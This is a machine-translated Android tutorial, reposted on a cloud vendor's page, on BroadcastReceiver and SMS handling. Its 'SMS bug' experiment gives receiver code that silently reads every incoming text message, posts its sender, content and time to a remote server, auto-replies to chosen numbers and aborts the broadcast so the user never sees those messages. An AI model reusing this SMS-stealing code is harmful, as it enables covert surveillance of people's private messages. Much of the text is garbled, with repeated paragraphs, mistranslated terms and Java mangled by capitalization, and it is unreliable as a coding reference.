Android personal study notes-broadcastreceiver implements SMS listening

Source: Internet
Author: User
Overview of broadcastreceiver:

Broadcastreceiver is the base class that receives intent from sendbroadcast. You can use the context. registerreceiver () method to dynamically register a broadcastreceiver instance in the Code, or use the <javaser> label in the androidmanifest. xml file to declare it statically.

Note: If you are a handler registered in the activity. onresume () method, you must deregister it in the activity. onpause () method. (When an activity is paused, it does not receive intents, and this can also reduce unnecessary overhead ). Do not log off the handler in the activity. onsaveinstancestate () method, because the method will not be called when the activity recovers from the stack.

Subscribe to broadcast:

<receiver android:name="MySMSListener">   <intent-filter>       <action android:name="android.provider.Telephony.SMS_RECEIVED"/>   </intent-filter></receiver>

IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");IncomingSMSReceiver receiver = new IncomingSMSReceiver();registerReceiver(receiver, filter);

Broadcast can be received in two types:
Normal broadcasts (sent through context. sendbroadcast) are completely asynchronous. The broadcast receiver runs unordered tasks at the same time. This method is very efficient, but it also means that the consumer cannot exit by using the result of mutual processing or calling the exit API (because it does not know which consumer receives the intent first ).
Ordered broadcasts (sent by context. sendorderedbroadcast) are sent to only one receiver at a time. Each receiver processes the intent in sequence. The previous receiver can pass the result to the next receiver, or any other receiver can exit completely, so that the intent will not be passed to other receivers. the execution sequence of the receiver er can be controlled by the Android: Priority attribute in the matched intent-filter. If multiple receivers are in the same priority, the receivers will be executed in any order.
Even if normal broadcasts are broadcast, the system may convert to one broadcast to a receriver in some cases. In particular, when receivers needs to create a process, only one worker can run at the same time to prevent the system from being overloaded due to these new processes.
Note: although the intent class is used to send and accept these broadcasts, the intentbroadcast mechanism here is completely independent of the intent that starts the activity through the context. startactivity () method. A broadcastreceiver cannot observe or capture an intent used to start the activity. Similarly, when you send a broadcast through the intent, you cannot (use this intent) locate or start an activity. The two operations are completely different: starting an activity with an intent is a foreground operation, which changes the object of the user's current interaction; and sending a broadcast with the intent is a background operation, users are often unaware of it.
The broadcastreceiver class (starting with a manifest <javaser> label as a component) is an important part of the global declaration cycle of the application.

Topic
1. lifecycle of the worker
2. Permissions
3. Process Lifecycle

Broadcast can be received in two types::
Normal broadcasts (Sent through context. sendbroadcast) is completely asynchronous. The broadcast receiver runs unordered tasks at the same time. This method is very efficient, but it also means that the consumer cannot exit by using the result of mutual processing or calling the exit API (because it does not know which consumer receives the intent first ).

Ordered broadcasts(Sent through context. sendorderedbroadcast) only one receiver at a time. Each receiver processes the intent in sequence. The previous receiver can pass the result to the next receiver, or any other receiver can exit completely, so that the intent will not be passed to other receivers. the execution sequence of the receiver er can be controlled by the Android: Priority attribute in the matched intent-filter. If multiple receivers are in the same priority, the receivers will be executed in any order.

Even if normal broadcasts are broadcast, the system may convert to one broadcast to a receriver in some cases. In particular, when receivers needs to create a process, only one worker can run at the same time to prevent the system from being overloaded due to these new processes.

 

Note:

Although the intent class is used to send and accept these broadcasts, the intentbroadcast mechanism here is completely independent of the intent that starts the activity through the context. startactivity () method. A broadcastreceiver cannot observe or capture an intent used to start the activity. Similarly, when you send a broadcast through the intent, you cannot (use this intent) locate or start an activity. The two operations are completely different: starting an activity with an intent is a foreground operation, which changes the object of the user's current interaction; and sending a broadcast with the intent is a background operation, users are often unaware of it.

The broadcastreceiver class (starting with a manifest <javaser> label as a component) is an important part of the global declaration cycle of the application.

Topic
1. lifecycle of the worker
2. Permissions
3. Process Lifecycle

Life cycle of the consumer

A broadcastreceiver object is valid only when onreceiver (context, intent) is called. Once your code is returned from this function, the system considers that the object should be over and cannot be activated again. Your implementation in onreceive (context, intent) has a very important impact: Any request for asynchronous operations is not allowed, because you may need to return asynchronous operations from this function, but in that case, broadcastreceiver will not be activated, so the system will kill the process before the asynchronous operation.

In particular, you should not display a dialog box or bind a service in another broadcastreceiver. For the former (displaying a dialog box), you should use icationicationmanagerapi instead. For the latter (binding a service), you can use context. startservice () sends a command to the service for binding.

 

Permission

The access permission can be forcibly specified in the sender's intent or receiver's intent.

When sending a broadcast request, a non-empty peemission parameter must be provided to sendbroadcast (intent, string) or sendorderedbroadcast (intent, String, broadcastreceiver, android. OS. handel, Int, String, bundle ). Only those who have these permissions (by declaring the <uses-Permission> tag in the androidmanifest. xml file) can receive these broadcast.

When receiving a broadcast request, a non-empty permission parameter must be provided when the receiver is registered-whether it is calling registerreceiver (broadcastreceiver, intentfilter, String, android. OS. handler) or through androidmanifest. the XML file is declared by using the <author ER> static tag. Only the senders who have these permissions (obtained by querying the <uses-Permission> tag in the corresponding androidmanifest. xml file) will be able to send intent to the receiver.

For details about security and permissions, see the security and permission document.

 

Process Lifecycle

A process that is executing the broadcastreceiver (that is, the onreceive (context, intent) method) is considered as a foreground process and will continue to run, unless the system is in an extremely low memory.

Once returned from the onreceive () method, this broadcastreceiver will no longer be activated, and its main process has the same priority as any other component running in this application. This is very important if the process only has a broadreceiver Er (a common case is that the user never or has not interacted with it recently), so once it returns from the onreceive () method, the system considers the process to be empty and takes the initiative to kill it so that these resources can be used by other important processes.

This means that for time-consuming operations, you can use the service and broadcastreceiver together to ensure that the process performing this operation remains active throughout the execution process.

Experiment (SMS bug ):

Server (videoweb ):

L modify formbean: add the SMS time, content, and sender attributes in videoform.

L added the getsms method to videomanageaction to get the short message sent by the bug.

Public actionforward getsms (actionmapping mapping, actionform form, httpservletrequest request, httpservletresponse response) throws exception {videoform formbean = (videoform) form; system. out. println ("sending time:" + formbean. gettime (); system. out. println ("who sent her a text message:" + formbean. getsender (); system. out. println ("content:" + formbean. getcontent (); Return Mapping. findforward ("result ");}

Client sms_listener

1. List File

Subscribe to broadcast in

<receiver android:name=".MySMSListener">  <intent-filter>      <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter></receiver>

Add SMS receiving and Network Access Permissions

<uses-permission android:name="android.permission.INTERNET"/><uses-permission android:name="android.permission.RECEIVE_SMS"/>

1. Client mysmslistener. Java

Function: receives and parses text messages and sends them to the server for background printing.

Package CN. song. listener; import Java. SQL. date; import Java. text. simpledateformat; import Java. util. hashmap; import Java. util. map; import CN. song. utils. sockethttprequester; import android. content. broadcastreceiver; import android. content. context; import android. content. intent; import android. OS. bundle; import android. telephony. smsmanager; import android. telephony. smsmessage; import android. util. log; Public clas S mysmslistener extends broadcastreceiver {@ overridepublic void onreceive (context, intent) {bundle = intent. getextras (); object [] PDUS = (object []) bundle. get ("PDUS"); If (PDUS! = NULL & PDUS. length> 0) {// receives the SMS smsmessage [] smsmessages = new smsmessage [PDUS. length]; for (INT I = 0; I <smsmessages. length; I ++) {byte [] PDU = (byte []) PDUS [I]; smsmessages [I] = smsmessage. createfrompdu (PDU);} For (smsmessage MSG: smsmessages) {string content = MSG. getmessagebody (); string sender = MSG. getoriginatingaddress (); Date = new date (MSG. gettimestampmillis (); // convert the date format simpledateformat SDF = new S Impledateformat ("yyyy-mm-dd hh: mm: SS"); string sendtime = SDF. format (date); string Path = "http: // 192.168.65.5: 8080/videoweb/Video/manage. do "; Map <string, string> param = new hashmap <string, string> (); Param. put ("method", "getsms"); Param. put ("content", content); Param. put ("sender", Sender); Param. put ("time", sendtime); try {sockethttprequester. post (path, Param, "UTF-8");} catch (exception e) {log. E ("tag", E. tostring ();} If (sender! = NULL & sender. endswith ("15933915201") {smsmanager = smsmanager. getdefault (); smsmanager. sendtextmessage ("5556", null, "Go to hell", null, null); this. getabortbroadcast ();}}}}}

Smsmessage

Public static smsmessage createfrompdu (byte [] PDU)

Create an smsmessage from the original PDU (protocol description units. This method is very important. We need to use it to write the SMS receiving program. It creates smessage from the byte obtained from the broadcast intent we receive.

 

Public String getoriginatingaddress ()
Return the incoming call address of the SMS message using a string, or if it is unavailable, it is null.

 

Public String getmessagebody ()
Returns the message body as a string if it exists and is text-based.

 

Sms manager: smsmanager

1) Android. telephony. GSM. smsmanager should be used before Android 2.0.

Android. telephony. smsmanager should be used later;

2). Obtain the default SMS manager of the system.

Smsmanager = smsmanager. getdefault ();

3) split the text message according to the maximum number of characters in each text message

List <string> dividecontents = smsmanager. dividemessage (content );

4). send text messages

Smsmanager. sendtextmessage (destinationaddress, scaddress, text, sentintent, deliveryintent)

-- Destinationaddress: the destination phone number.

-- Scaddress: the number of the SMS center. This parameter can be left empty for testing.

-- Text: Text message content

-- Sentintent: Send --> China Mobile failed to send --> return the sending success or failure signal --> after processing, this intent encapsulates the message sending status.

-- Deliveryintent: Send --> China Mobile sends the message successfully --> Returns whether the recipient receives the message --> subsequent processing: this intent encapsulates the status information of the message received by the other party (the supplier has successfully sent the message but the other party has not received it ).

 

5). Declare the SMS sending permission

* Androidmanifest. xml

<Uses-permissionandroid: Name = "android. Permission. send_sms"/>

 

1. Add the client function to intercept the specified text message that you have listened to and automatically reply to it.

 

Add SMS sending permission:

<uses-permission android:name="android.permission.SEND_SMS"/>

The following code is added to onreceive of mysmslistener:

String sendcontent = SDF. Format (date) + ":" + sender + "--" + content; log. I ("tag", sendcontent); If (sender! = NULL & sender. endswith ("5556") {// 5556 ". equals (sender) {smsmanager = smsmanager. getdefault (); smsmanager. sendtextmessage ("5556", null, "Game over", null, null); this. abortbroadcast (); // terminate broadcast}

Test:

Start another simulator, send a text message to the simulator where the client is deployed, view the background output of the server, and check whether the simulator running on the client receives the text message.

Supplement:

In addition to the arrival of SMS broadcast intent, Android also has many broadcast intent types, such as startup, battery power change, and time change.

 

L receives the battery change broadcast intent. In the androidmanifest. xml file, <Application>

Subscribe to this intent in the node:

<receiver android:name=".IncomingSMSReceiver"><intent-filter>   <action android:name="android.intent.action.BATTERY_CHANGED"/></intent-filter></receiver>

L receive and start the broadcast intent at startup, which is in the <Application> node in the androidmanifest. xml file

Subscribe to this intent:

<receiver android:name=".IncomingSMSReceiver"><intent-filter>  <action android:name=”android.intent.action.BOOT_COMPLETED” /></intent-filter><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

Generally, the life cycle of a broadcastreceiver object cannot exceed 5 seconds, so some time-consuming operations cannot be performed in broadcastreceiver. If you need to complete a time-consuming task, you can send an intent message to an activity or service, which is completed by activity or service.

Public class incomingsmsreceiver extends broadcastreceiver {public void onreceive (context, intent) {// send intent to start the service. The service completes the time-consuming operation intent service = new intent (context, xxxservice. class); context. startservice (service); // send intent to start the activity. The activity completes the time-consuming operation intent newintent = new intent (context, xxxactivity. class); context. startactivity (newintent );}}

Of course, if broadcastreceiver is implemented and you may feel that you do not need it, you can deregister the registered broadcastreceiver:

unregisterReceiver( BroadcastReceiver receiver) ;
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.